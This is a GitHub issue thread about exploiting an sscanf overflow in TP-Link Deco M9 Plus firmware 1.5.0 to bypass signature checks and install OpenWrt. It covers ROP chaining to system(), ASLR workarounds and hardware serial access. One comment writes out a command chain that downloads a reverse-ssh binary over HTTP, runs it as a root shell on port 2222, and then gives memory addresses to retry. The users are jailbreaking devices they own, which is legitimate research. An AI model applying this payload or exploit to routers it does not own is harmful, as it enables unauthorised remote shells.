naf419 / tplink_deco_exploits

Exploits to bypass tplink deco device firmware signature checks
5 stars 2 forks source link

Exploit at all possible with ARM Deco devices (M9 Plus specifically) #1

Open stncttr908 opened 1 month ago

stncttr908 commented 1 month ago

Apologies for my general ignorance in asking this question, but does this exploit exist, and if so, is it even exploitable, on ARM based Deco devices like the M9 Plus?

naf419 commented 1 month ago

I took a peak at M9Plus v1.0 fw1.5.0 and it does have the sscanf vulnerability in the webgui-based firmware checking code and it appears likely to be exploitable.

What HW revision do you have? Do you already have hardware serial access? Do you have access to a dump of the bootloader partition for your device (the bootloader is generally easier to exploit if its also vulnerable)

stncttr908 commented 1 month ago

I took a peak at M9Plus v1.0 fw1.5.0 and it does have the sscanf vulnerability in the webgui-based firmware checking code and it appears likely to be exploitable.

What HW revision do you have? Do you already have hardware serial access? Do you have access to a dump of the bootloader partition for your device (the bootloader is generally easier to exploit if its also vulnerable)

The one I have readily available is V2.8, and an unknown firmware level which I would have to check. I have 3 others currently in use but they're all on the latest, or near latest firmware

No serial access yet, but I bought this one specifically to explore this, so I can do what is required especially if there's no serious soldering required. I do have a couple UART dongles at the ready as well

I assume I will be able to get the bootloader partition dump via serial access?

naf419 commented 1 month ago

OK same story with v2.0 firmware (assuming this applies to your v2.8 also and theres not a secret non-US tplink site with a explicit v2.8 firmware listed?): 1.5.0 probably exploitable, fixed by 1.6.4. no worries, we can always just downgrade to 1.5.0 if needed.

is your end-goal running open source firmware (i.e. openwrt) instead of stock or are you interested in the exploit as a standalone activity. matters because it might have some broadcom chip that is never going to get open source fw, but the exploit would still give you a shell on stock fw independent of that.

yes, easiest path is usually attaching your UART dongle and asking uboot to dump flash contents (including bootloader partitions) if you can get that setup. failing that, we might still be able to get a working exploit in the usermode firmware update (instead of bootloader) first and use that shell to dump flash, but having serial access is always superior.

hell we don't even know if the bootloader http firmware upgrade process even bothers to check firmware signatures...

stncttr908 commented 1 month ago

If I’m not mistaken the x.0 versus x.8 only indicates the country of manufacture, and otherwise the units are identical. The goal is absolutely to use OpenWrt. I like these units, but they could really use some features like being able to explicitly set the channels.

So it sounds like the best bet is serial console if possible. Again my soldering skills are nascent at best, so if it’s at all possible to try the usermode firmware update I’d be happy to.

Forgot to mention also at least the V1 M9 Plus models are identical from a hardware perspective to many other models with official support (standard ARM processor, Atheros WiFi radios, etc) so if I could get it to boot into OpenWrt it seems pretty straightforward.

naf419 commented 1 month ago

OK, I can start an attempt at an arm exploit for 1.5.0 usermode (unless you want the honors). Can you confirm you can access the mini http GUI when stock is running and it has a fw upgrade mechanism?

I'd suggest you verify the SOC on your unit is going to be supportable in openwrt (ask in their forum, they will need chip info or pictures of board or FCC ID to look for pics on FCC site) to make sure this isn't all for naught.

On Wed, Sep 25, 2024, 5:23 PM stncttr908 @.***> wrote:

If I’m not mistaken the x.0 versus x.8 only indicates the country of manufacture, and otherwise the units are identical. The goal is absolutely to use OpenWrt. I like these units, but they could really use some features like being able to explicitly set the channels.

So it sounds like the best bet is serial console if possible. Again my soldering skills are nascent at best, so if it’s at all possible to try the usermode firmware update I’d be happy to.

— Reply to this email directly, view it on GitHub https://github.com/naf419/tplink_deco_exploits/issues/1#issuecomment-2375372211, or unsubscribe https://github.com/notifications/unsubscribe-auth/AE64FATL2CXSAXJLBUPR4HTZYMZW7AVCNFSM6AAAAABO27T6SWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZVGM3TEMRRGE . You are receiving this because you commented.Message ID: @.***>

stncttr908 commented 1 month ago

Yes, it presents the firmware recovery page after going through the reset process and manually setting my interface to 192.168.1.2, or whatever the correct range is. As for creating an exploitable firmware I’m fairly sure I lack the skills to do that, so I defer to you and thank you for your time and effort tremendously.

I’ll see if I can open the unit and get some confirmation of the chips within.

stncttr908 commented 1 month ago

Per the FCC filing for the V2.0 the chips are all the same:

https://fcc.report/FCC-ID/TE7M9PLUSV2/4549756 https://fcc.report/FCC-ID/TE7M9PLUSV2/4549757

Matches all here: https://wikidevi.wi-cat.ru/TP-LINK_Deco_M9_Plus_v1

Which match the chips present on prebuilt images for the IPQ4019 here, including plenty of GLi-NET devices etc: https://openwrt.org/docs/techref/targets/ipq40xx

So unless I am completely misunderstanding, it sounds like the IPQ40xx target should just work, or worst case I build an image with driver support.

naf419 commented 1 month ago

To be clear, there are two separate web-based firmware recovery pages.

One is provided by the bootloader and is accessed by booting while holding in the reset button. It has no login and only does fw updates.

,The second one (i call it the "usermode" method) is also an http interface, but requires logging in and shows a whole menu where firmware update us one option.

Not sure which one you reference, but please check both exist

On Wed, Sep 25, 2024, 6:09 PM stncttr908 @.***> wrote:

Yes, it presents the firmware recovery page after going through the reset process and manually setting my interface to 192.168.1.2, or whatever the correct range is. As for creating an exploitable firmware I’m fairly sure I lack the skills to do that, so I defer to you and thank you for your time and effort tremendously.

I’ll see if I can open the unit and get some confirmation of the chips within.

— Reply to this email directly, view it on GitHub https://github.com/naf419/tplink_deco_exploits/issues/1#issuecomment-2375426328, or unsubscribe https://github.com/notifications/unsubscribe-auth/AE64FATZBMBGVAH3VTKN72TZYM7BHAVCNFSM6AAAAABO27T6SWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZVGQZDMMZSHA . You are receiving this because you commented.Message ID: @.***>

stncttr908 commented 1 month ago

Thanks for clarifying. I can confirm it has both available. 👍

naf419 commented 1 month ago

In case you hadn't seen it, it appear the DecoM5 folks have a working openwrt ipq4019 build, just that they never got around to pushing it upstream: https://github.com/dutchmillbytes/openwrt/compare/v23.05.3...deco-v23.05.3

Probably a good place to start

stncttr908 commented 1 month ago

In case you hadn't seen it, it appear the DecoM5 folks have a working openwrt ipq4019 build, just that they never got around to pushing it upstream: dutchmillbytes/openwrt@v23.05.3...deco-v23.05.3

Probably a good place to start

Thanks for this. It's largely the same except it doesn't have the second 5 GHz Qualcomm radio. 👍

naf419 commented 1 month ago

Update on exploiting the usermode firmware binary: our sscanf exploit primitive can control the PC, but with ASLR enabled and a binary with NX but no PIE, we need to find a ROP gadget in the binary itself instead of uclibc. Nothing obvious stands out yet.

TLDR: hopefully the bootloader is exploitable (or doesn't even check the signature, ha) instead. If you get serial setup, send me a dump and I can check real quick

stncttr908 commented 1 month ago

Bummer, but thanks for taking a look! I even understood what half of that meant...

I will start digging into what's required to take the bootloader dump, but it will take me a couple days to find the team even if I have the skills. Once again I really appreciate all your attention on this!

professor-jonny commented 1 month ago

@stncttr908 if you can look at the serial log it will tell you the config and you can likely look at official sources and the included DTS and build a makeshift initramfs boot image to dump the device.

It is what I did for my device.

stncttr908 commented 1 month ago

@stncttr908 if you can look at the serial log it will tell you the config and you can likely look at official sources and the included DTS and build a makeshift initramfs boot image to dump the device.

It is what I did for my device.

Thanks, I am down this Google rabbit hole currently lol. Any links or advice you can provide would be great!

naf419 commented 1 month ago

On second thought I think I found a ROP gadget that will work to load R0 and then chain that to call system(). Try this to generate a firmware file to upload in the usermode firmware update webgui of 1.5.0 fw.

TODO: find a http (not https) server to host an arm ssh server that ignores passwords like this one, until then just host locally

stncttr908 commented 1 month ago

Nice, I will give this a try today. Does it have to be 1.5.0, or is it versions up to and including a certain version? I don't recall which version is on this eBay buy, but there does not seem to be a firmware archive available should it be too new. Not to mention my in-use M9s are all 1.6.3.

professor-jonny commented 1 month ago

Thanks, I am down this Google rabbit hole currently lol. Any links or advice you can provide would be great!

Start up a thread on the forum, take some pictures of the pcb's work out the serial port and capture the boot log so we can find the board config, with that and the gpl code's configuration file we can basically build an initramfs OpenWrt image and dump the partitions.

## Loading kernel from FIT Image at 44000000 ...
   Using 'config@hk01.c5' configuration

https://www.tp-link.com/us/support/download/deco-m9-plus/v1/#GPL-Code

you may have to poke around with a multimeter to workout the serial port but here is a bit of a guide: https://openwrt.org/docs/techref/hardware/port.serial

naf419 commented 1 month ago

Nice, I will give this a try today. Does it have to be 1.5.0, or is it versions up to and including a certain version? I don't recall which version is on this eBay buy, but there does not seem to be a firmware archive available should it be too new. Not to mention my in-use M9s are all 1.6.3.

i havent checked anything between 1.5.0 (is vuln) and 1.6.4 (is not vuln), but the wayback machine has you covered (if you manually fix the links): https://web.archive.org/web/20210621030702/https://www.tp-link.com/us/support/download/deco-m9-plus/#Firmware https://static.tp-link.com/2021/202102/20210203/Deco_M9Plus_V2_1.5.0_201211.zip

stncttr908 commented 1 month ago

Nice, I will give this a try today. Does it have to be 1.5.0, or is it versions up to and including a certain version? I don't recall which version is on this eBay buy, but there does not seem to be a firmware archive available should it be too new. Not to mention my in-use M9s are all 1.6.3.

i havent checked anything between 1.5.0 (is vuln) and 1.6.4 (is not vuln), but the wayback machine has you covered (if you manually fix the links): https://web.archive.org/web/20210621030702/https://www.tp-link.com/us/support/download/deco-m9-plus/#Firmware https://static.tp-link.com/2021/202102/20210203/Deco_M9Plus_V2_1.5.0_201211.zip

Thank you, I managed to find some uploads on Archive.org but for some reason never considered checking the actual firmware page. I will report back later today.

stncttr908 commented 1 month ago

Thanks, I am down this Google rabbit hole currently lol. Any links or advice you can provide would be great!

Start up a thread on the forum, take some pictures of the pcb's work out the serial port and capture the boot log so we can find the board config, with that and the gpl code's configuration file we can basically build an initramfs OpenWrt image and dump the partitions.

## Loading kernel from FIT Image at 44000000 ...
   Using 'config@hk01.c5' configuration

https://www.tp-link.com/us/support/download/deco-m9-plus/v1/#GPL-Code

you may have to poke around with a multimeter to workout the serial port but here is a bit of a guide: https://openwrt.org/docs/techref/hardware/port.serial

Appreciate this very much. Typically with these types of explorations do they require the OP to take their own board shots? I ask because the FCC shots are pretty detailed and I was going to use those as a first pass to see if I could find the debug headers on the board. Anyway, let me see if I can work out @naf419's ask first and then I can turn toward this.

naf419 commented 1 month ago

I second the idea of using the openwrt forum (maybe even under this existing topic: https://forum.openwrt.org/t/ipq4019-adding-support-for-tp-link-deco-m9-plus/138019) for discussing the 'where are uart headers for serial' and 'adding a new openwrt device' side of things, because you are likely to get more advice from experienced folks over there, and leave this thread for talking about my shitty exploit attempts

stncttr908 commented 1 month ago

On second thought I think I found a ROP gadget that will work to load R0 and then chain that to call system(). Try this to generate a firmware file to upload in the usermode firmware update webgui of 1.5.0 fw.

TODO: find a http (not https) server to host an arm ssh server that ignores passwords like this one, until then just host locally

Well, it was on 1.5.6, so I downgraded it to 1.5.0, built the firmware via Python, and uploaded it from the usermode GUI, which it seemed to take. Not quite sure what should happen after that however. It ended up booting back into 1.5.0 and the usermode GUI was still available.

naf419 commented 1 month ago

If you look at the top of the python code, there is a series of commands it is supposed to run. For now, you'll need to provide somewhere probably on your local network (accessible to the m9 at least) to get the linked reverse-ssh binary via http (not https).

Feel free to change that python line to fix the IP for your network layout and rerun to generate the fw again if needed.

Goal is that the m9 exploit will download that reverse-ssh binary, run it, and you should be able to ssh to it on port 2222 (or whatever port is specified in the python command)

Username root, Password is avail on the github page of that reverse-ssh github I linked to

On Fri, Sep 27, 2024, 1:45 PM stncttr908 @.***> wrote:

On second thought I think I found a ROP gadget that will work to load R0 and then chain that to call system(). Try this https://github.com/user-attachments/files/17161115/build_fw_arm.py.txt to generate a firmware file to upload in the usermode firmware update webgui of 1.5.0 fw.

TODO: find a http (not https) server to host an arm ssh server that ignores passwords like this one https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/reverse-ssh-armv7-x86, until then just host locally

Well, it was on 1.5.6, so I downgraded it to 1.5.0, built the firmware via Python, and uploaded it from the usermode GUI, which it seemed to take. Not quite sure what should happen after that however. It ended up booting back into 1.5.0 and the usermode GUI was still available.

— Reply to this email directly, view it on GitHub https://github.com/naf419/tplink_deco_exploits/issues/1#issuecomment-2379863063, or unsubscribe https://github.com/notifications/unsubscribe-auth/AE64FASKGHBUYBWOBYEF5BLZYWRVXAVCNFSM6AAAAABO27T6SWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZZHA3DGMBWGM . You are receiving this because you were mentioned.Message ID: @.***>

stncttr908 commented 1 month ago

If you look at the top of the python code, there is a series of commands it is supposed to run. For now, you'll need to provide somewhere probably on your local network (accessible to the m9 at least) to get the linked reverse-ssh binary via http (not https). Feel free to change that python line to fix the IP for your network layout and rerun to generate the fw again if needed. Goal is that the m9 exploit will download that reverse-ssh binary, run it, and you should be able to ssh to it on port 2222 (or whatever port is specified in the python command) Username root, Password is avail on the github page of that reverse-ssh github I linked to On Fri, Sep 27, 2024, 1:45 PM stncttr908 @.> wrote: On second thought I think I found a ROP gadget that will work to load R0 and then chain that to call system(). Try this https://github.com/user-attachments/files/17161115/build_fw_arm.py.txt to generate a firmware file to upload in the usermode firmware update webgui of 1.5.0 fw. TODO: find a http (not https) server to host an arm ssh server that ignores passwords like this one https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/reverse-ssh-armv7-x86, until then just host locally Well, it was on 1.5.6, so I downgraded it to 1.5.0, built the firmware via Python, and uploaded it from the usermode GUI, which it seemed to take. Not quite sure what should happen after that however. It ended up booting back into 1.5.0 and the usermode GUI was still available. — Reply to this email directly, view it on GitHub <#1 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AE64FASKGHBUYBWOBYEF5BLZYWRVXAVCNFSM6AAAAABO27T6SWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZZHA3DGMBWGM . You are receiving this because you were mentioned.Message ID: @.>

Alright, I was able to upload my firmware file in usermode with the web server on my MacBook hosting the reverse-ssh binary, but unfortunately the HTTP server does not have any indication it ever connected. The server definitely works and I baked in the correct IP. Even if I had the URL wrong I would expect to see a connection to the server. Does this mean the possible exploit identified does not work?

naf419 commented 1 month ago

It has ASLR on, so the results do vary, but it should work maybe 9/10 times. It works on the 1.5.0 nvrammanager binary in my emulator, so it just means theres a difference between the emulator env and the real device env or the chain between the webgui and command line tool, or ASLR got an unlucky address A couple easy candidates come to mind of the top: $PATH and 'addresses where of kernel mmap differs'. If you have time to try it, the only easy one to eliminate is the $PATH: just try a simpler command like /sbin/reboot. if that works try explicit paths: i.e. cd /tmp; /usr/bin/wget http://xxx.xxx.xxx.xxx:xxx/reverse-ssh; /bin/chmod +x /tmp/reverse-ssh; /tmp/reverse-ssh -l -p 2222 -s /bin/ash; /bin/touch /tmp/done Kernel memory address could be tried by changing page_addr to 0x75200000 0x74200000 0x77200000 Simply retrying 3 times each iteration should rule out ASLR. Others I would need to think on All would be easier if you could just login via serial and run a debugger, of course :-)

stncttr908 commented 1 month ago

Yeah I’m just going to pivot to getting the serial working, of course once I can open the damn case. Let’s see how long I try doing that gracefully before I just get destructive, because they really don’t want you getting inside this thing.

naf419 commented 1 month ago

stncttr908 commented last week: Yeah I’m just going to pivot to getting the serial working, of course once I can open the damn case. Let’s see how long I try doing that gracefully before I just get destructive, because they really don’t want you getting inside this thing

difficult in theory: adapting openwrt build to new device, writing signature bypass exploit, etc difficult in reality: finding those hidden plastic clips to take device apart before frustration brings out the ice pick/hammer/angle grinder

stncttr908 commented 1 month ago

stncttr908 commented last week: Yeah I’m just going to pivot to getting the serial working, of course once I can open the damn case. Let’s see how long I try doing that gracefully before I just get destructive, because they really don’t want you getting inside this thing

difficult in theory: adapting openwrt build to new device, writing signature bypass exploit, etc difficult in reality: finding those hidden plastic clips to take device apart before frustration brings out the ice pick/hammer/angle grinder

Lol agreed, I haven’t had any time since I’ve been traveling for work, but I basically bought this one as a donor to see if this is even possible so I’m just going to get the Dremel out.

VsnGamer commented 1 month ago

Hello, I'm trying the userland/web exploit with a BE85, what binary did you get the ROP gadget from? Is it from nvrammanager itself or a shared library?

naf419 commented 1 month ago

Doing hurricane repair this week, ask me again in a week or so if I haven't got back to you by then

EDIT TO ADD: im going to split this into a separate thread instead of polluting this M9+ thread

On Wed, Oct 23, 2024, 11:58 AM Vasco @.***> wrote:

Hello, I'm trying the userland/web exploit with a BE85, what binary did you get the ROP gadget from? Is it from nvrammanager itself or a shared library?

— Reply to this email directly, view it on GitHub https://github.com/naf419/tplink_deco_exploits/issues/1#issuecomment-2432717620, or unsubscribe https://github.com/notifications/unsubscribe-auth/AE64FAX6OLLMNQFAJHUBON3Z47BRNAVCNFSM6AAAAABO27T6SWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMZSG4YTONRSGA . You are receiving this because you were mentioned.Message ID: @.***>

naf419 commented 2 weeks ago

It has ASLR on, so the results do vary, but it should work maybe 9/10 times. It works on the 1.5.0 nvrammanager binary in my emulator, so it just means theres a difference between the emulator env and the real device env or the chain between the webgui and command line tool, or ASLR got an unlucky address A couple easy candidates come to mind of the top: $PATH and 'addresses where of kernel mmap differs'. If you have time to try it, the only easy one to eliminate is the $PATH: just try a simpler command like /sbin/reboot. if that works try explicit paths: i.e. cd /tmp; /usr/bin/wget http://xxx.xxx.xxx.xxx:xxx/reverse-ssh; /bin/chmod +x /tmp/reverse-ssh; /tmp/reverse-ssh -l -p 2222 -s /bin/ash; /bin/touch /tmp/done Kernel memory address could be tried by changing page_addr to 0x75200000 0x74200000 0x77200000 Simply retrying 3 times each iteration should rule out ASLR. Others I would need to think on All would be easier if you could just login via serial and run a debugger, of course :-)

small update: a dev with a m4r v3 (same ARM32 arch and linux 3.14 kernel) has serial hooked up and ran a test to show that the kernel mmap addresses were way off from my qemu vexpress-a9 6.1.44 kernel.

so if you still dont have serial hooked up, you might want to retry the exploit with a 0xb6200000 page_addr as seen here: https://github.com/naf419/tplink_deco_exploits/blob/main/userspace_fw_upgrade/build_fw_arm.py